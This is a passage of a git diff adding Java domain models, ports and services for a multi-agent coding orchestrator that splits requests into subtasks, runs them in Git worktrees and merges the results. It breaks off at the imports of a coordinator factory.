+++ b/src/main/java/com/openmanus/agentteam/domain/model/CodeSubTask.java
@@ -0,0 +1,25 @@
+package com.openmanus.agentteam.domain.model;
+
+import java.util.List;
+
+/**
+ * One code-oriented subtask that may run inside an isolated worktree.
+ */
+public record CodeSubTask(
+ String taskId,
+ String title,
+ String goal,
+ List ownedPaths,
+ List forbiddenPaths,
+ List verificationCommands,
+ List dependsOn,
+ String conflictRisk
+) {
+
+ public CodeSubTask {
+ ownedPaths = ownedPaths == null ? List.of() : List.copyOf(ownedPaths);
+ forbiddenPaths = forbiddenPaths == null ? List.of() : List.copyOf(forbiddenPaths);
+ verificationCommands = verificationCommands == null ? List.of() : List.copyOf(verificationCommands);
+ dependsOn = dependsOn == null ? List.of() : List.copyOf(dependsOn);
+ }
+}
diff --git a/src/main/java/com/openmanus/agentteam/domain/model/CodeTaskGroup.java b/src/main/java/com/openmanus/agentteam/domain/model/CodeTaskGroup.java
new file mode 100644
index 0000000..a9ea7db
--- /dev/null
+++ b/src/main/java/com/openmanus/agentteam/domain/model/CodeTaskGroup.java
@@ -0,0 +1,18 @@
+package com.openmanus.agentteam.domain.model;
+
+import java.util.List;
+
+/**
+ * A code-oriented multi-agent execution group.
+ */
+public record CodeTaskGroup(
+ String groupId,
+ String conversationId,
+ String userGoal,
+ List subTasks
+) {
+
+ public CodeTaskGroup {
+ subTasks = subTasks == null ? List.of() : List.copyOf(subTasks);
+ }
+}
diff --git a/src/main/java/com/openmanus/agentteam/domain/model/DecompositionPlan.java b/src/main/java/com/openmanus/agentteam/domain/model/DecompositionPlan.java
new file mode 100644
index 0000000..eee9edc
--- /dev/null
+++ b/src/main/java/com/openmanus/agentteam/domain/model/DecompositionPlan.java
@@ -0,0 +1,18 @@
+package com.openmanus.agentteam.domain.model;
+
+import java.util.List;
+
+/**
+ * Result of asking the system whether a request can be decomposed safely.
+ */
+public record DecompositionPlan(
+ boolean parallelizable,
+ String reason,
+ List subTasks
+) {
+
+ public DecompositionPlan {
+ reason = reason == null ? "" : reason.trim();
+ subTasks = subTasks == null ? List.of() : List.copyOf(subTasks);
+ }
+}
diff --git a/src/main/java/com/openmanus/agentteam/domain/model/GitRepositoryRuntime.java b/src/main/java/com/openmanus/agentteam/domain/model/GitRepositoryRuntime.java
new file mode 100644
index 0000000..6d7b604
--- /dev/null
+++ b/src/main/java/com/openmanus/agentteam/domain/model/GitRepositoryRuntime.java
@@ -0,0 +1,20 @@
+package com.openmanus.agentteam.domain.model;
+
+/**
+ * Snapshot of local Git runtime and repository state for worktree orchestration.
+ */
+public record GitRepositoryRuntime(
+ boolean gitAvailable,
+ boolean gitRepository,
+ String gitVersion,
+ String repositoryRoot,
+ String currentBranch,
+ String headCommit,
+ boolean workingTreeClean,
+ String failureReason
+) {
+
+ public boolean supportsWorktreeOperations() {
+ return gitAvailable && gitRepository && failureReason == null;
+ }
+}
diff --git a/src/main/java/com/openmanus/agentteam/domain/model/GitWorkspaceSnapshot.java b/src/main/java/com/openmanus/agentteam/domain/model/GitWorkspaceSnapshot.java
new file mode 100644
index 0000000..8a71c09
--- /dev/null
+++ b/src/main/java/com/openmanus/agentteam/domain/model/GitWorkspaceSnapshot.java
@@ -0,0 +1,18 @@
+package com.openmanus.agentteam.domain.model;
+
+import java.util.List;
+
+/**
+ * Snapshot of Git change state for one worktree.
+ */
+public record GitWorkspaceSnapshot(
+ String branchName,
+ String headCommit,
+ boolean clean,
+ List changedFiles
+) {
+
+ public GitWorkspaceSnapshot {
+ changedFiles = changedFiles == null ? List.of() : List.copyOf(changedFiles);
+ }
+}
diff --git a/src/main/java/com/openmanus/agentteam/domain/model/GitWorktreeInfo.java b/src/main/java/com/openmanus/agentteam/domain/model/GitWorktreeInfo.java
new file mode 100644
index 0000000..7321e28
--- /dev/null
+++ b/src/main/java/com/openmanus/agentteam/domain/model/GitWorktreeInfo.java
@@ -0,0 +1,12 @@
+package com.openmanus.agentteam.domain.model;
+
+/**
+ * Git worktree metadata parsed from local Git state.
+ */
+public record GitWorktreeInfo(
+ String path,
+ String branchRef,
+ String headCommit,
+ boolean detached
+) {
+}
diff --git a/src/main/java/com/openmanus/agentteam/domain/model/IntegrationResult.java b/src/main/java/com/openmanus/agentteam/domain/model/IntegrationResult.java
new file mode 100644
index 0000000..baaab76
--- /dev/null
+++ b/src/main/java/com/openmanus/agentteam/domain/model/IntegrationResult.java
@@ -0,0 +1,21 @@
+package com.openmanus.agentteam.domain.model;
+
+import java.util.List;
+
+/**
+ * Summary of integration-stage results for multiple sub-agent branches.
+ */
+public record IntegrationResult(
+ boolean success,
+ String integrationBranch,
+ List mergedBranches,
+ List conflictFiles,
+ String testSummary,
+ String errorMessage
+) {
+
+ public IntegrationResult {
+ mergedBranches = mergedBranches == null ? List.of() : List.copyOf(mergedBranches);
+ conflictFiles = conflictFiles == null ? List.of() : List.copyOf(conflictFiles);
+ }
+}
diff --git a/src/main/java/com/openmanus/agentteam/domain/model/MessageType.java b/src/main/java/com/openmanus/agentteam/domain/model/MessageType.java
new file mode 100644
index 0000000..d7894e2
--- /dev/null
+++ b/src/main/java/com/openmanus/agentteam/domain/model/MessageType.java
@@ -0,0 +1,12 @@
+package com.openmanus.agentteam.domain.model;
+
+/**
+ * Minimal message categories for agent-team mailbox communication.
+ */
+public enum MessageType {
+ INFO,
+ QUESTION,
+ ANSWER,
+ BLOCKER,
+ RESULT_HINT
+}
diff --git a/src/main/java/com/openmanus/agentteam/domain/model/ParallelCodingExecutionResult.java b/src/main/java/com/openmanus/agentteam/domain/model/ParallelCodingExecutionResult.java
new file mode 100644
index 0000000..a1f7870
--- /dev/null
+++ b/src/main/java/com/openmanus/agentteam/domain/model/ParallelCodingExecutionResult.java
@@ -0,0 +1,21 @@
+package com.openmanus.agentteam.domain.model;
+
+import java.util.List;
+
+/**
+ * Aggregated result for one parallel coding orchestration attempt.
+ */
+public record ParallelCodingExecutionResult(
+ boolean success,
+ boolean fallbackToSingleAgent,
+ String summary,
+ String fallbackResponse,
+ CodeTaskGroup taskGroup,
+ List subAgentResults,
+ IntegrationResult integrationResult
+) {
+
+ public ParallelCodingExecutionResult {
+ subAgentResults = subAgentResults == null ? List.of() : List.copyOf(subAgentResults);
+ }
+}
diff --git a/src/main/java/com/openmanus/agentteam/domain/model/ParallelCodingPlan.java b/src/main/java/com/openmanus/agentteam/domain/model/ParallelCodingPlan.java
new file mode 100644
index 0000000..c7c3a0a
--- /dev/null
+++ b/src/main/java/com/openmanus/agentteam/domain/model/ParallelCodingPlan.java
@@ -0,0 +1,17 @@
+package com.openmanus.agentteam.domain.model;
+
+import java.util.List;
+
+/**
+ * Planning result for parallel coding execution.
+ */
+public record ParallelCodingPlan(
+ boolean parallelizable,
+ String reason,
+ List subTasks
+) {
+
+ public ParallelCodingPlan {
+ subTasks = subTasks == null ? List.of() : List.copyOf(subTasks);
+ }
+}
diff --git a/src/main/java/com/openmanus/agentteam/domain/model/SubAgentCodingResult.java b/src/main/java/com/openmanus/agentteam/domain/model/SubAgentCodingResult.java
new file mode 100644
index 0000000..8b35167
--- /dev/null
+++ b/src/main/java/com/openmanus/agentteam/domain/model/SubAgentCodingResult.java
@@ -0,0 +1,25 @@
+package com.openmanus.agentteam.domain.model;
+
+import java.util.List;
+
+/**
+ * Structured result emitted by one sub-agent coding execution.
+ */
+public record SubAgentCodingResult(
+ String taskId,
+ SubAgentCodingStatus status,
+ String summary,
+ List changedFiles,
+ String branchName,
+ String commitSha,
+ String worktreePath,
+ Boolean testPassed,
+ String testSummary,
+ String rawOutput,
+ String errorMessage
+) {
+
+ public SubAgentCodingResult {
+ changedFiles = changedFiles == null ? List.of() : List.copyOf(changedFiles);
+ }
+}
diff --git a/src/main/java/com/openmanus/agentteam/domain/model/SubAgentCodingStatus.java b/src/main/java/com/openmanus/agentteam/domain/model/SubAgentCodingStatus.java
new file mode 100644
index 0000000..85906d2
--- /dev/null
+++ b/src/main/java/com/openmanus/agentteam/domain/model/SubAgentCodingStatus.java
@@ -0,0 +1,9 @@
+package com.openmanus.agentteam.domain.model;
+
+/**
+ * Execution status for one code-oriented sub-agent task.
+ */
+public enum SubAgentCodingStatus {
+ SUCCEEDED,
+ FAILED
+}
diff --git a/src/main/java/com/openmanus/agentteam/domain/model/SubTask.java b/src/main/java/com/openmanus/agentteam/domain/model/SubTask.java
new file mode 100644
index 0000000..4b90936
--- /dev/null
+++ b/src/main/java/com/openmanus/agentteam/domain/model/SubTask.java
@@ -0,0 +1,70 @@
+package com.openmanus.agentteam.domain.model;
+
+import lombok.Getter;
+
+/**
+ * Runtime subtask tracked by the agent-team scheduler.
+ */
+@Getter
+public class SubTask {
+
+ private final String taskId;
+ private final String groupId;
+ private final String parentSessionId;
+ private final String title;
+ private final String description;
+ private final String contextSummary;
+ private final long createdAt;
+ private TaskStatus status;
+ private String assignedAgentId;
+ private String resultSummary;
+ private String resultDetail;
+ private String errorMessage;
+ private long claimedAt;
+ private long startedAt;
+ private long finishedAt;
+
+ public SubTask(
+ String taskId,
+ String groupId,
+ String parentSessionId,
+ String title,
+ String description,
+ String contextSummary,
+ long createdAt
+ ) {
+ this.taskId = taskId;
+ this.groupId = groupId;
+ this.parentSessionId = parentSessionId == null ? "" : parentSessionId.trim();
+ this.title = title == null ? "" : title.trim();
+ this.description = description == null ? "" : description.trim();
+ this.contextSummary = contextSummary == null ? "" : contextSummary.trim();
+ this.createdAt = createdAt;
+ this.status = TaskStatus.PENDING;
+ }
+
+ public void claim(String agentId, long timestamp) {
+ this.assignedAgentId = agentId;
+ this.claimedAt = timestamp;
+ this.status = TaskStatus.CLAIMED;
+ }
+
+ public void markRunning(long timestamp) {
+ this.startedAt = timestamp;
+ this.status = TaskStatus.RUNNING;
+ }
+
+ public void markSucceeded(String summary, String detail, long timestamp) {
+ this.resultSummary = summary;
+ this.resultDetail = detail;
+ this.errorMessage = null;
+ this.finishedAt = timestamp;
+ this.status = TaskStatus.SUCCEEDED;
+ }
+
+ public void markFailed(String error, long timestamp) {
+ this.errorMessage = error;
+ this.finishedAt = timestamp;
+ this.status = TaskStatus.FAILED;
+ }
+}
diff --git a/src/main/java/com/openmanus/agentteam/domain/model/SubTaskFailure.java b/src/main/java/com/openmanus/agentteam/domain/model/SubTaskFailure.java
new file mode 100644
index 0000000..e64ba08
--- /dev/null
+++ b/src/main/java/com/openmanus/agentteam/domain/model/SubTaskFailure.java
@@ -0,0 +1,11 @@
+package com.openmanus.agentteam.domain.model;
+
+/**
+ * Failed subtask result prepared for final aggregation.
+ */
+public record SubTaskFailure(
+ String taskId,
+ String title,
+ String errorMessage
+) {
+}
diff --git a/src/main/java/com/openmanus/agentteam/domain/model/SubTaskPlan.java b/src/main/java/com/openmanus/agentteam/domain/model/SubTaskPlan.java
new file mode 100644
index 0000000..7eebb78
--- /dev/null
+++ b/src/main/java/com/openmanus/agentteam/domain/model/SubTaskPlan.java
@@ -0,0 +1,13 @@
+package com.openmanus.agentteam.domain.model;
+
+/**
+ * Candidate subtask emitted by decomposition.
+ */
+public record SubTaskPlan(String title, String description, String contextSummary) {
+
+ public SubTaskPlan {
+ title = title == null ? "" : title.trim();
+ description = description == null ? "" : description.trim();
+ contextSummary = contextSummary == null ? "" : contextSummary.trim();
+ }
+}
diff --git a/src/main/java/com/openmanus/agentteam/domain/model/SubTaskResult.java b/src/main/java/com/openmanus/agentteam/domain/model/SubTaskResult.java
new file mode 100644
index 0000000..d5dfbc3
--- /dev/null
+++ b/src/main/java/com/openmanus/agentteam/domain/model/SubTaskResult.java
@@ -0,0 +1,12 @@
+package com.openmanus.agentteam.domain.model;
+
+/**
+ * Successful subtask result prepared for final aggregation.
+ */
+public record SubTaskResult(
+ String taskId,
+ String title,
+ String summary,
+ String detail
+) {
+}
diff --git a/src/main/java/com/openmanus/agentteam/domain/model/TaskGroup.java b/src/main/java/com/openmanus/agentteam/domain/model/TaskGroup.java
new file mode 100644
index 0000000..be34e34
--- /dev/null
+++ b/src/main/java/com/openmanus/agentteam/domain/model/TaskGroup.java
@@ -0,0 +1,56 @@
+package com.openmanus.agentteam.domain.model;
+
+import lombok.Getter;
+
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.List;
+
+/**
+ * Group of parallel subtasks emitted from one user request.
+ */
+@Getter
+public class TaskGroup {
+
+ private final String groupId;
+ private final String parentTaskId;
+ private final String masterAgentId;
+ private final String originalUserRequest;
+ private final long createdAt;
+ private final List subTaskIds = new ArrayList<>();
+ private TaskGroupStatus status;
+ private long updatedAt;
+
+ public TaskGroup(
+ String groupId,
+ String parentTaskId,
+ String masterAgentId,
+ String originalUserRequest,
+ long createdAt
+ ) {
+ this.groupId = groupId;
+ this.parentTaskId = parentTaskId;
+ this.masterAgentId = masterAgentId;
+ this.originalUserRequest = originalUserRequest == null ? "" : originalUserRequest.trim();
+ this.createdAt = createdAt;
+ this.updatedAt = createdAt;
+ this.status = TaskGroupStatus.CREATED;
+ }
+
+ public List getSubTaskIds() {
+ return Collections.unmodifiableList(subTaskIds);
+ }
+
+ public void addSubTask(String taskId) {
+ if (taskId == null || taskId.isBlank()) {
+ return;
+ }
+ this.subTaskIds.add(taskId);
+ this.updatedAt = System.currentTimeMillis();
+ }
+
+ public void updateStatus(TaskGroupStatus newStatus, long timestamp) {
+ this.status = newStatus == null ? this.status : newStatus;
+ this.updatedAt = timestamp;
+ }
+}
diff --git a/src/main/java/com/openmanus/agentteam/domain/model/TaskGroupResult.java b/src/main/java/com/openmanus/agentteam/domain/model/TaskGroupResult.java
new file mode 100644
index 0000000..0f8b669
--- /dev/null
+++ b/src/main/java/com/openmanus/agentteam/domain/model/TaskGroupResult.java
@@ -0,0 +1,19 @@
+package com.openmanus.agentteam.domain.model;
+
+import java.util.List;
+
+/**
+ * Aggregated task-group output returned by application orchestration.
+ */
+public record TaskGroupResult(
+ String groupId,
+ List successResults,
+ List failures,
+ boolean allSucceeded
+) {
+
+ public TaskGroupResult {
+ successResults = successResults == null ? List.of() : List.copyOf(successResults);
+ failures = failures == null ? List.of() : List.copyOf(failures);
+ }
+}
diff --git a/src/main/java/com/openmanus/agentteam/domain/model/TaskGroupSnapshot.java b/src/main/java/com/openmanus/agentteam/domain/model/TaskGroupSnapshot.java
new file mode 100644
index 0000000..cfad748
--- /dev/null
+++ b/src/main/java/com/openmanus/agentteam/domain/model/TaskGroupSnapshot.java
@@ -0,0 +1,20 @@
+package com.openmanus.agentteam.domain.model;
+
+/**
+ * Aggregated view of one task group at a point in time.
+ */
+public record TaskGroupSnapshot(
+ String groupId,
+ int totalTasks,
+ int pendingTasks,
+ int claimedTasks,
+ int runningTasks,
+ int succeededTasks,
+ int failedTasks,
+ TaskGroupStatus status
+) {
+
+ public boolean allFinished() {
+ return totalTasks > 0 && succeededTasks + failedTasks == totalTasks;
+ }
+}
diff --git a/src/main/java/com/openmanus/agentteam/domain/model/TaskGroupStatus.java b/src/main/java/com/openmanus/agentteam/domain/model/TaskGroupStatus.java
new file mode 100644
index 0000000..9a81a66
--- /dev/null
+++ b/src/main/java/com/openmanus/agentteam/domain/model/TaskGroupStatus.java
@@ -0,0 +1,12 @@
+package com.openmanus.agentteam.domain.model;
+
+/**
+ * Lifecycle for one decomposed task group.
+ */
+public enum TaskGroupStatus {
+ CREATED,
+ RUNNING,
+ COMPLETED,
+ FAILED,
+ PARTIAL_FAILED
+}
diff --git a/src/main/java/com/openmanus/agentteam/domain/model/TaskStatus.java b/src/main/java/com/openmanus/agentteam/domain/model/TaskStatus.java
new file mode 100644
index 0000000..83a1f98
--- /dev/null
+++ b/src/main/java/com/openmanus/agentteam/domain/model/TaskStatus.java
@@ -0,0 +1,16 @@
+package com.openmanus.agentteam.domain.model;
+
+/**
+ * Lifecycle for a single subtask inside an agent-team execution.
+ */
+public enum TaskStatus {
+ PENDING,
+ CLAIMED,
+ RUNNING,
+ SUCCEEDED,
+ FAILED;
+
+ public boolean isTerminal() {
+ return this == SUCCEEDED || this == FAILED;
+ }
+}
diff --git a/src/main/java/com/openmanus/agentteam/domain/model/WorktreeSession.java b/src/main/java/com/openmanus/agentteam/domain/model/WorktreeSession.java
new file mode 100644
index 0000000..f1d2497
--- /dev/null
+++ b/src/main/java/com/openmanus/agentteam/domain/model/WorktreeSession.java
@@ -0,0 +1,12 @@
+package com.openmanus.agentteam.domain.model;
+
+/**
+ * Metadata describing one isolated Git worktree execution session.
+ */
+public record WorktreeSession(
+ String sessionId,
+ String branchName,
+ String baseRef,
+ String worktreePath
+) {
+}
diff --git a/src/main/java/com/openmanus/agentteam/domain/port/AgentMessageBusPort.java b/src/main/java/com/openmanus/agentteam/domain/port/AgentMessageBusPort.java
new file mode 100644
index 0000000..7e5a4fe
--- /dev/null
+++ b/src/main/java/com/openmanus/agentteam/domain/port/AgentMessageBusPort.java
@@ -0,0 +1,14 @@
+package com.openmanus.agentteam.domain.port;
+
+import com.openmanus.agentteam.domain.model.AgentMessage;
+
+import java.util.List;
+
+public interface AgentMessageBusPort {
+
+ void send(AgentMessage message);
+
+ List fetchUnread(String agentId);
+
+ void markAsRead(String agentId, List messageIds);
+}
diff --git a/src/main/java/com/openmanus/agentteam/domain/port/CommandExecutionPort.java b/src/main/java/com/openmanus/agentteam/domain/port/CommandExecutionPort.java
new file mode 100644
index 0000000..96d607a
--- /dev/null
+++ b/src/main/java/com/openmanus/agentteam/domain/port/CommandExecutionPort.java
@@ -0,0 +1,17 @@
+package com.openmanus.agentteam.domain.port;
+
+import java.nio.file.Path;
+
+/**
+ * Runs local verification commands for integration validation.
+ */
+public interface CommandExecutionPort {
+
+ CommandExecutionResult execute(Path workingDirectory, String command);
+
+ record CommandExecutionResult(int exitCode, String stdout, String stderr) {
+ public boolean isSuccess() {
+ return exitCode == 0;
+ }
+ }
+}
diff --git a/src/main/java/com/openmanus/agentteam/domain/port/GitIntegrationPort.java b/src/main/java/com/openmanus/agentteam/domain/port/GitIntegrationPort.java
new file mode 100644
index 0000000..44f5562
--- /dev/null
+++ b/src/main/java/com/openmanus/agentteam/domain/port/GitIntegrationPort.java
@@ -0,0 +1,13 @@
+package com.openmanus.agentteam.domain.port;
+
+import java.nio.file.Path;
+
+/**
+ * Port for creating integration branches and applying subtask commits.
+ */
+public interface GitIntegrationPort {
+
+ String createIntegrationBranch(Path repositoryPath, String branchName, String baseRef);
+
+ void cherryPickCommit(Path repositoryPath, String commitSha);
+}
diff --git a/src/main/java/com/openmanus/agentteam/domain/port/GitWorkspacePort.java b/src/main/java/com/openmanus/agentteam/domain/port/GitWorkspacePort.java
new file mode 100644
index 0000000..cce0701
--- /dev/null
+++ b/src/main/java/com/openmanus/agentteam/domain/port/GitWorkspacePort.java
@@ -0,0 +1,15 @@
+package com.openmanus.agentteam.domain.port;
+
+import com.openmanus.agentteam.domain.model.GitWorkspaceSnapshot;
+
+import java.nio.file.Path;
+
+/**
+ * Port for inspecting and committing changes inside one Git worktree.
+ */
+public interface GitWorkspacePort {
+
+ GitWorkspaceSnapshot inspectWorkspace(Path worktreePath);
+
+ String commitAllChanges(Path worktreePath, String commitMessage);
+}
diff --git a/src/main/java/com/openmanus/agentteam/domain/port/GitWorktreeProvisioningPort.java b/src/main/java/com/openmanus/agentteam/domain/port/GitWorktreeProvisioningPort.java
new file mode 100644
index 0000000..adabd2d
--- /dev/null
+++ b/src/main/java/com/openmanus/agentteam/domain/port/GitWorktreeProvisioningPort.java
@@ -0,0 +1,21 @@
+package com.openmanus.agentteam.domain.port;
+
+import com.openmanus.agentteam.domain.model.GitRepositoryRuntime;
+import com.openmanus.agentteam.domain.model.GitWorktreeInfo;
+
+import java.nio.file.Path;
+import java.util.List;
+
+/**
+ * Port for local Git worktree lifecycle management.
+ */
+public interface GitWorktreeProvisioningPort {
+
+ GitRepositoryRuntime inspectRepository(Path repositoryPath);
+
+ List listWorktrees(Path repositoryPath);
+
+ GitWorktreeInfo createWorktree(Path repositoryPath, Path worktreePath, String branchName, String baseRef);
+
+ void removeWorktree(Path repositoryPath, Path worktreePath, boolean force);
+}
diff --git a/src/main/java/com/openmanus/agentteam/domain/port/TaskGroupRepositoryPort.java b/src/main/java/com/openmanus/agentteam/domain/port/TaskGroupRepositoryPort.java
new file mode 100644
index 0000000..f471257
--- /dev/null
+++ b/src/main/java/com/openmanus/agentteam/domain/port/TaskGroupRepositoryPort.java
@@ -0,0 +1,20 @@
+package com.openmanus.agentteam.domain.port;
+
+import com.openmanus.agentteam.domain.model.SubTask;
+import com.openmanus.agentteam.domain.model.TaskGroup;
+
+import java.util.List;
+import java.util.Optional;
+
+public interface TaskGroupRepositoryPort {
+
+ void saveGroup(TaskGroup group);
+
+ Optional findGroup(String groupId);
+
+ void saveSubTask(SubTask subTask);
+
+ Optional findSubTask(String taskId);
+
+ List findSubTasksByGroupId(String groupId);
+}
diff --git a/src/main/java/com/openmanus/agentteam/domain/port/TaskPoolPort.java b/src/main/java/com/openmanus/agentteam/domain/port/TaskPoolPort.java
new file mode 100644
index 0000000..d52f86c
--- /dev/null
+++ b/src/main/java/com/openmanus/agentteam/domain/port/TaskPoolPort.java
@@ -0,0 +1,23 @@
+package com.openmanus.agentteam.domain.port;
+
+import com.openmanus.agentteam.domain.model.SubTask;
+
+import java.util.List;
+import java.util.Optional;
+
+public interface TaskPoolPort {
+
+ void submit(SubTask subTask);
+
+ Optional claimNext(String agentId);
+
+ void markRunning(String taskId, String agentId);
+
+ void markSucceeded(String taskId, String agentId, String summary, String detail);
+
+ void markFailed(String taskId, String agentId, String errorMessage);
+
+ Optional findById(String taskId);
+
+ List findByGroupId(String groupId);
+}
diff --git a/src/main/java/com/openmanus/agentteam/domain/service/DefaultResultAggregationService.java b/src/main/java/com/openmanus/agentteam/domain/service/DefaultResultAggregationService.java
new file mode 100644
index 0000000..5f398df
--- /dev/null
+++ b/src/main/java/com/openmanus/agentteam/domain/service/DefaultResultAggregationService.java
@@ -0,0 +1,52 @@
+package com.openmanus.agentteam.domain.service;
+
+import com.openmanus.agentteam.domain.model.SubTask;
+import com.openmanus.agentteam.domain.model.SubTaskFailure;
+import com.openmanus.agentteam.domain.model.SubTaskResult;
+import com.openmanus.agentteam.domain.model.TaskGroup;
+import com.openmanus.agentteam.domain.model.TaskGroupResult;
+import com.openmanus.agentteam.domain.model.TaskStatus;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Default aggregation logic for one task group.
+ */
+public class DefaultResultAggregationService implements ResultAggregationService {
+
+ @Override
+ public TaskGroupResult aggregate(TaskGroup taskGroup, List subTasks) {
+ List successResults = new ArrayList<>();
+ List failures = new ArrayList<>();
+
+ if (subTasks != null) {
+ for (SubTask subTask : subTasks) {
+ if (subTask == null || subTask.getStatus() == null) {
+ continue;
+ }
+ if (subTask.getStatus() == TaskStatus.SUCCEEDED) {
+ successResults.add(new SubTaskResult(
+ subTask.getTaskId(),
+ subTask.getTitle(),
+ subTask.getResultSummary(),
+ subTask.getResultDetail()
+ ));
+ } else if (subTask.getStatus() == TaskStatus.FAILED) {
+ failures.add(new SubTaskFailure(
+ subTask.getTaskId(),
+ subTask.getTitle(),
+ subTask.getErrorMessage()
+ ));
+ }
+ }
+ }
+
+ return new TaskGroupResult(
+ taskGroup.getGroupId(),
+ successResults,
+ failures,
+ failures.isEmpty()
+ );
+ }
+}
diff --git a/src/main/java/com/openmanus/agentteam/domain/service/DefaultTaskGroupManager.java b/src/main/java/com/openmanus/agentteam/domain/service/DefaultTaskGroupManager.java
new file mode 100644
index 0000000..472c7b1
--- /dev/null
+++ b/src/main/java/com/openmanus/agentteam/domain/service/DefaultTaskGroupManager.java
@@ -0,0 +1,70 @@
+package com.openmanus.agentteam.domain.service;
+
+import com.openmanus.agentteam.domain.model.SubTask;
+import com.openmanus.agentteam.domain.model.TaskGroup;
+import com.openmanus.agentteam.domain.model.TaskGroupSnapshot;
+import com.openmanus.agentteam.domain.port.TaskGroupRepositoryPort;
+
+import java.util.List;
+import java.util.UUID;
+
+/**
+ * Default domain implementation for task-group lifecycle management.
+ */
+public class DefaultTaskGroupManager implements TaskGroupManager {
+
+ private final TaskGroupRepositoryPort repository;
+ private final TaskGroupStatusCalculator statusCalculator;
+
+ public DefaultTaskGroupManager(
+ TaskGroupRepositoryPort repository,
+ TaskGroupStatusCalculator statusCalculator
+ ) {
+ this.repository = repository;
+ this.statusCalculator = statusCalculator;
+ }
+
+ @Override
+ public TaskGroup createGroup(String parentTaskId, String masterAgentId, String originalUserRequest) {
+ long now = System.currentTimeMillis();
+ TaskGroup group = new TaskGroup(
+ UUID.randomUUID().toString(),
+ parentTaskId,
+ masterAgentId,
+ originalUserRequest,
+ now
+ );
+ repository.saveGroup(group);
+ return group;
+ }
+
+ @Override
+ public void registerSubTasks(String groupId, List subTasks) {
+ TaskGroup group = repository.findGroup(groupId)
+ .orElseThrow(() -> new IllegalArgumentException("Task group not found: " + groupId));
+ if (subTasks == null || subTasks.isEmpty()) {
+ repository.saveGroup(group);
+ return;
+ }
+ for (SubTask subTask : subTasks) {
+ if (subTask == null) {
+ continue;
+ }
+ group.addSubTask(subTask.getTaskId());
+ repository.saveSubTask(subTask);
+ }
+ group.updateStatus(statusCalculator.calculate(groupId, subTasks).status(), System.currentTimeMillis());
+ repository.saveGroup(group);
+ }
+
+ @Override
+ public TaskGroupSnapshot getSnapshot(String groupId) {
+ List subTasks = repository.findSubTasksByGroupId(groupId);
+ TaskGroupSnapshot snapshot = statusCalculator.calculate(groupId, subTasks);
+ repository.findGroup(groupId).ifPresent(group -> {
+ group.updateStatus(snapshot.status(), System.currentTimeMillis());
+ repository.saveGroup(group);
+ });
+ return snapshot;
+ }
+}
diff --git a/src/main/java/com/openmanus/agentteam/domain/service/ResultAggregationService.java b/src/main/java/com/openmanus/agentteam/domain/service/ResultAggregationService.java
new file mode 100644
index 0000000..ae8a19d
--- /dev/null
+++ b/src/main/java/com/openmanus/agentteam/domain/service/ResultAggregationService.java
@@ -0,0 +1,12 @@
+package com.openmanus.agentteam.domain.service;
+
+import com.openmanus.agentteam.domain.model.SubTask;
+import com.openmanus.agentteam.domain.model.TaskGroup;
+import com.openmanus.agentteam.domain.model.TaskGroupResult;
+
+import java.util.List;
+
+public interface ResultAggregationService {
+
+ TaskGroupResult aggregate(TaskGroup taskGroup, List subTasks);
+}
diff --git a/src/main/java/com/openmanus/agentteam/domain/service/TaskGroupManager.java b/src/main/java/com/openmanus/agentteam/domain/service/TaskGroupManager.java
new file mode 100644
index 0000000..a4b835c
--- /dev/null
+++ b/src/main/java/com/openmanus/agentteam/domain/service/TaskGroupManager.java
@@ -0,0 +1,16 @@
+package com.openmanus.agentteam.domain.service;
+
+import com.openmanus.agentteam.domain.model.SubTask;
+import com.openmanus.agentteam.domain.model.TaskGroup;
+import com.openmanus.agentteam.domain.model.TaskGroupSnapshot;
+
+import java.util.List;
+
+public interface TaskGroupManager {
+
+ TaskGroup createGroup(String parentTaskId, String masterAgentId, String originalUserRequest);
+
+ void registerSubTasks(String groupId, List subTasks);
+
+ TaskGroupSnapshot getSnapshot(String groupId);
+}
diff --git a/src/main/java/com/openmanus/agentteam/domain/service/TaskGroupStatusCalculator.java b/src/main/java/com/openmanus/agentteam/domain/service/TaskGroupStatusCalculator.java
new file mode 100644
index 0000000..50d4e19
--- /dev/null
+++ b/src/main/java/com/openmanus/agentteam/domain/service/TaskGroupStatusCalculator.java
@@ -0,0 +1,69 @@
+package com.openmanus.agentteam.domain.service;
+
+import com.openmanus.agentteam.domain.model.SubTask;
+import com.openmanus.agentteam.domain.model.TaskGroupSnapshot;
+import com.openmanus.agentteam.domain.model.TaskGroupStatus;
+import com.openmanus.agentteam.domain.model.TaskStatus;
+
+import java.util.List;
+
+/**
+ * Computes task-group progress from current subtask states.
+ */
+public class TaskGroupStatusCalculator {
+
+ public TaskGroupSnapshot calculate(String groupId, List subTasks) {
+ List tasks = subTasks == null ? List.of() : subTasks;
+ int total = tasks.size();
+ int pending = 0;
+ int claimed = 0;
+ int running = 0;
+ int succeeded = 0;
+ int failed = 0;
+
+ for (SubTask task : tasks) {
+ if (task == null || task.getStatus() == null) {
+ continue;
+ }
+ TaskStatus status = task.getStatus();
+ switch (status) {
+ case PENDING -> pending++;
+ case CLAIMED -> claimed++;
+ case RUNNING -> running++;
+ case SUCCEEDED -> succeeded++;
+ case FAILED -> failed++;
+ default -> {
+ }
+ }
+ }
+
+ TaskGroupStatus groupStatus = resolveStatus(total, pending, claimed, running, succeeded, failed);
+ return new TaskGroupSnapshot(groupId, total, pending, claimed, running, succeeded, failed, groupStatus);
+ }
+
+ private TaskGroupStatus resolveStatus(
+ int total,
+ int pending,
+ int claimed,
+ int running,
+ int succeeded,
+ int failed
+ ) {
+ if (total == 0 || pending == total) {
+ return TaskGroupStatus.CREATED;
+ }
+ if (succeeded == total) {
+ return TaskGroupStatus.COMPLETED;
+ }
+ if (failed == total) {
+ return TaskGroupStatus.FAILED;
+ }
+ if (succeeded + failed == total && failed > 0) {
+ return TaskGroupStatus.PARTIAL_FAILED;
+ }
+ if (claimed > 0 || running > 0 || succeeded > 0 || failed > 0) {
+ return TaskGroupStatus.RUNNING;
+ }
+ return TaskGroupStatus.CREATED;
+ }
+}
diff --git a/src/main/java/com/openmanus/agentteam/infra/AgentTeamCoordinatorFactory.java b/src/main/java/com/openmanus/agentteam/infra/AgentTeamCoordinatorFactory.java
new file mode 100644
index 0000000..4b57d38
--- /dev/null
+++ b/src/main/java/com/openmanus/agentteam/infra/AgentTeamCoordinatorFactory.java
@@ -0,0 +1,181 @@
+package com.openmanus.agentteam.infra;
+
+import com.openmanus.agent.coordination.AgentCoordinator;
+import com.openmanus.agent.tool.BrowserTool;
+import com.openmanus.agent.tool.PythonExecutionTool;
